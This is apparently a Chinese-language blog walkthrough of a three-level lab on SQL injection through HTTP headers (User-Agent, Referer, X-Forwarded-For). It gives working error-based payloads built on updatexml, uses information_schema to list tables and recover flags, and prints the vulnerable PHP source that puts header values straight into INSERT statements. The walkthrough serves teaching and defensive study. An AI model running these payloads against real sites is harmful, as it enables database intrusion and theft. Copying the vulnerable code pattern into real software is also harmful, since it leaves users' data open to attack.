首先先来了解一下什么是header注入???
header是http数据包中的请求头
header注入,是指利用后端验证客户端信息或者通过header中获取客户端的一些信息。因为这些信息会有一些数据被存放到数据库中,然后再从数据库中返回到前端页面,如果后端没有对相应信息进行一些处理,就会导致sql注入
header注入一般发生在用户登录的时候

HEAD注入的使用场景
为什么网站要记录你的ip或者请求头,是为了方便你的二次登陆,区分你的登陆地址和设备等。[游客一般不会被记录,头注入一般都发生在正常登陆或者留言的地方比较多]
然后再了解一下什么是报错注入
报错注入是什么?
是利用将错误信息显示的函数(语句),构造payload,让注入的结果从错误信息中回显出来
学习一些报错注入常用的函数
- concat() 连接字符串
- floor() 向下取整
- rand() 产生0~1之间的随机浮点值
- updatexml(目标xml文档,xml路径,更新的内容) 是更新xml文档的函数。xml路径参数类型是xpath格式字符串(/xx/xx/),非法格式就会报错,并将非法格式内容返回。
- extractvalue(目标xml文档,xml路径) 是对XML文档进行查询的函数,extractvalu的第⼆个参数要求是xpath格式字符串,如果是非法格式就会报错,并将非法格式内容返回。
靶场实操
0x00 Rank1

首先爆破一个可以登录的账号

这里直接对密码进行爆破,密码是123456


可以看到成功登录,对User-Agent头进行测试
这里可以先看一下UA头是如何进入数据库保存的
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";
可以看到是这样插入语句,我们在第一个参数(UA头)那里进行注入
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent' and updatexml(1,concat(0x7e,(select database())),1),123) -- qwe,'$uname')";
' and updatexml(1,concat(0x7e,(select database())),1),123) -- qwe

可以看到注入成功!
然后就开始构造语句进行查询
' and updatexml(1,concat(0x7e,(select database())),1),123) -- qwe
select table_name from information_schema.tables where table_schema=database() limit 0,1
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),123) -- qwe
这里注意一下:需要将UA头的值改为数字,可以看上图
修改limit就可以依次查询出表名

有五个表,依次是flag_head、ip、refer、uagent、user。
显然flag应该在第一个表中,查看flag_head表中字段

有两列,爆出是id和flag_h1
查看flag_h1字段

源码分析
$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT']; // 获取请求头中的UA头
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');} // 对用户名和密码进行正则匹配,检验单引号
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')"; // 往数据库中插入UA头语句
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';
0x01 Rank2
第二关是refer注入
核心代码
$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_REFERER']; //获取referer
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO refer (`refer`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';
观察源码,可以发现只是header注入的参数是referer,其他与第一关并没有变化!

如图所示,在这里注入,payload与第一关一模一样。
0x02 Rank3
第三关,是XFF注入
先来了解一下什么是XFF?简单来说就是在请求头中说明了IP的属性

了解了之后,那就开始抓包看看,在抓包之前,咱们先传入一个XFF的值

好的,开始抓包

可以看到,请求头中有个XFF参数,这里就是注入的地方了
然后先测试一下可不可以注入,加个单引号尝试报错

可以看到出现了报错,猜测存在sql注入,那为什么呢? 这里看一下源码
function getip() // 这个函数就是去获取用户的ip信息
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
$username = $_POST['username'];
$password = $_POST['password'];
$ip = getip(); // 这里调用函数获取ip值
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');} // 正则匹配
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO ip (`ip`,`username`) VALUES ('$ip','$uname')"; // 将IP放入数据库
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

可以看到,和其他头部注入差不多,只是换了一个注入的地点而已,了解清楚开始注入!
先查看一下当前数据库

然后查看该数据库中的表,flag_head表

然后查看列


找的我们想要的列,flag_h1,查看字段

找到第三关的flag
总结一下:
- 这三关还是比较相似的,注入方式都是一样的,header注入&&报错注入
- header注入的条件:网站将http请求头中的某些内容存入了数据库,并又从数据库中调出返回客户端,就可能存在sql注入 常见的head注入点
- Referer
- User-Agent
- X-Forwarded-For
- Cookie
- client_ip
- Accept-Language
- Host
- sql注入的原理:用户输入的数据可以被拼接到原有代码执行
Comments NOTHING